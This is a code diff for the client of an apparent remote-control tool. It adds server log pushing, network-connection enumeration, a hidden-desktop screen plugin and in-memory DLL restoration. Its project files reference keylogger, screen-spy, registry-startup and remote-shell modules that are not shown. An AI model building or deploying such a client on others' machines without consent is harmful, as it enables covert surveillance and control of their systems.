auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE); auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
} }
}
// The main ClientApp. // The main ClientApp.
settings.SetServer(list[0].c_str(), settings.ServerPort()); settings.SetServer(list[0].c_str(), settings.ServerPort());
} }
if (!app.m_bShared) { static bool hasRun = false;
if (!app.m_bShared && !hasRun) {
hasRun = true;
auto a = cfg.GetStr("settings", "share_list"); auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|'); auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
for (int i = 0; i < shareList.size(); ++i) { for (int i = 0; i < shareList.size(); ++i) {
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE); auto v = StringToVector(shareList[i], ':', 3);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str()); Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
} }
@@ -564,6 +642,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string expiredDate; std::string expiredDate;
BOOL isAuthKernel = IsAuthKernel(expiredDate); BOOL isAuthKernel = IsAuthKernel(expiredDate);
if (isAuthKernel) ParseAuthServer(&settings); if (isAuthKernel) ParseAuthServer(&settings);
Mprintf("[StartClient] Current client: %s\n", isAuthKernel ? "AUTH" : "NORMAL");
std::string pubIP = cfg.GetStr("settings", "public_ip", ""); std::string pubIP = cfg.GetStr("settings", "public_ip", "");
// V2 authorization supports offline mode, verify signature and skip timeout check // V2 authorization supports offline mode, verify signature and skip timeout check
VERIFY_V2_AND_SET_AUTHORIZED(); VERIFY_V2_AND_SET_AUTHORIZED();
@@ -582,7 +661,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
} }
app.SetThreadRun(TRUE); app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP); ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) { while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64(); ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
@@ -597,7 +677,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
//准备第一波数据 //准备第一波数据
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate); LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate, isAuthKernel);
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
Manager->SetClientApp(&app); Manager->SetClientApp(&app);
+1 -1
View File
@@ -130,7 +130,7 @@ public:
} }
}; };
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
// 启动核心线程,参数为:ClientApp // 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam); DWORD WINAPI StartClient(LPVOID lParam);
+44 -2
View File
@@ -124,7 +124,7 @@
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries> <IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -167,7 +167,7 @@
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions> <AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories> <AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
@@ -178,12 +178,22 @@
<ClCompile Include="Audio.cpp" /> <ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" /> <ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" /> <ClCompile Include="Buffer.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="CaptureVideo.cpp" /> <ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" /> <ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -197,15 +207,25 @@
<ClCompile Include="proxy\ProxyManager.cpp" /> <ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" /> <ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" /> <ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" /> <ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" /> <ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" /> <ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" /> <ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -217,17 +237,36 @@
<ClInclude Include="..\common\zstd_wrapper.h" /> <ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" /> <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ConPTYManager.h" /> <ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" /> <ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" /> <ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" /> <ClInclude Include="keylogger.h" />
@@ -249,6 +288,9 @@
<ClInclude Include="StdAfx.h" /> <ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+40
View File
@@ -36,8 +36,26 @@
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" /> <ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\file_upload.h" /> <ClInclude Include="..\common\file_upload.h" />
@@ -52,6 +70,7 @@
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
@@ -81,7 +100,28 @@
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="ConPTYManager.h" /> <ClInclude Include="ConPTYManager.h" />
<ClInclude Include="session.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="TlsChannel.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="Script.rc" /> <ResourceCompile Include="Script.rc" />
+44
View File
@@ -0,0 +1,44 @@
#include "stdafx.h"
#include "ClientLogManager.h"
#include "../common/commands.h"
#include "../common/logger.h"
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
: CManager(ClientObject, n, p)
, m_sentIdx(0)
, m_running(true)
{
SendLogDump();
m_pushThread = std::thread([this]() {
while (m_running && m_ClientObject->IsConnected()) {
for (int i = 0; i < 30 && m_running; ++i)
Sleep(100);
if (m_running && m_ClientObject->IsConnected())
SendLogDump();
}
});
}
CClientLogManager::~CClientLogManager()
{
m_running = false;
if (m_pushThread.joinable())
m_pushThread.join();
}
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
SendLogDump();
}
void CClientLogManager::SendLogDump()
{
std::lock_guard<std::mutex> lock(m_sendMutex);
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
std::vector<BYTE> pkt(1 + logs.size());
pkt[0] = TOKEN_REPORT_LOG;
if (!logs.empty())
memcpy(pkt.data() + 1, logs.data(), logs.size());
Send(pkt.data(), (UINT)pkt.size());
}
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include <atomic>
#include <mutex>
#include <thread>
class CClientLogManager : public CManager
{
public:
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
~CClientLogManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
void SendLogDump();
size_t m_sentIdx;
std::mutex m_sendMutex;
std::atomic<bool> m_running;
std::thread m_pushThread;
};
+47 -1
View File
@@ -1,18 +1,26 @@
#include "StdAfx.h" #include "StdAfx.h"
#include "Common.h" #include "Common.h"
#include "Manager.h"
#include "ScreenManager.h" #include "ScreenManager.h"
#include "FileManager.h" #include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h" #include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
#include "ShellManager.h" #include "ShellManager.h"
#include "SystemManager.h" #include "SystemManager.h"
#include "ConPTYManager.h" #include "ConPTYManager.h"
#include "AudioManager.h" #include "AudioManager.h"
#include "RegisterManager.h" #include "RegisterManager.h"
#include "ServicesManager.h" #include "ServicesManager.h"
#include "ConnectionsManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ProxyManager.h" #include "ProxyManager.h"
#include "ClientLogManager.h"
#include "KernelManager.h" #include "KernelManager.h"
#include <iniFile.h> #include <iniFile.h>
@@ -68,7 +76,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn); IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) { if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
ClientObject->SetVerifyInfo(msg, signature); ClientObject->SetVerifyInfo(msg, signature);
CScreenManager m(ClientObject, 32, (void*)1, TRUE); BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
UserParam* user = new UserParam{ new BYTE[3], 3 };
memcpy(user->buffer, bToken + 1, 3);
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
if (IsWindows8orHigher()) { if (IsWindows8orHigher()) {
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData); ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
} else { } else {
@@ -95,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
return LoopManager<CTalkManager, 0>(lParam); return LoopManager<CTalkManager, 0>(lParam);
} }
DWORD WINAPI LoopChatManager(LPVOID lParam)
{
return LoopManager<CChatManager, 0>(lParam);
}
DWORD WINAPI LoopMachineManager(LPVOID lParam)
{
return LoopManager<CMachineManager, 0>(lParam);
}
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam) DWORD WINAPI LoopShellManager(LPVOID lParam)
{ {
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -134,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager<CServicesManager, 0>(lParam); return LoopManager<CServicesManager, 0>(lParam);
} }
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
{
return LoopManager<CConnectionsManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam) DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{ {
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
@@ -148,3 +189,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
{ {
return LoopManager<CProxyManager, 0>(lParam); return LoopManager<CProxyManager, 0>(lParam);
} }
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
{
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
}
+7
View File
@@ -28,11 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam); DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam); DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
+3
View File
@@ -6,6 +6,8 @@
#include "Common.h" #include "Common.h"
#include "../common/commands.h" #include "../common/commands.h"
#if ENABLE_SHELL
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK) // Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE #ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \ #define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
@@ -341,3 +343,4 @@ DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
Mprintf("[ConPTY] Read thread exited\n"); Mprintf("[ConPTY] Read thread exited\n");
return 0; return 0;
} }
#endif
+6
View File
@@ -7,6 +7,11 @@
#include "Manager.h" #include "Manager.h"
#include "IOCPClient.h" #include "IOCPClient.h"
#if ENABLE_SHELL==0
#define CConPTYManager CManager
#else
// ConPTY API types (dynamically loaded) // ConPTY API types (dynamically loaded)
typedef VOID* HPCON; typedef VOID* HPCON;
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC); typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
@@ -56,5 +61,6 @@ private:
// Thread to read from PTY // Thread to read from PTY
static DWORD WINAPI ReadThread(LPVOID lParam); static DWORD WINAPI ReadThread(LPVOID lParam);
}; };
#endif
#endif // CONPTYMANAGER_H #endif // CONPTYMANAGER_H
+239
View File
@@ -0,0 +1,239 @@
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#if ENABLE_CONNECTION_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendConnectionList();
}
CConnectionsManager::~CConnectionsManager()
{
}
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
if (outLen <= 0) return;
out[0] = 0;
if (pid == 0) {
strcpy_s(out, outLen, "System Idle Process");
return;
}
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (h == NULL) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t wpath[MAX_PATH] = { 0 };
DWORD len = MAX_PATH;
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
CloseHandle(h);
if (!ok) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t* base = wcsrchr(wpath, L'\\');
base = base ? base + 1 : wpath;
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
strcpy_s(out, outLen, "<unknown>");
return;
}
out[outLen - 1] = 0;
}
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
out[0] = (uint8_t)(addrNet >> 24);
out[1] = (uint8_t)(addrNet >> 16);
out[2] = (uint8_t)(addrNet >> 8);
out[3] = (uint8_t)(addrNet);
}
static DWORD GetAddr4(const uint8_t* addr)
{
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
}
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
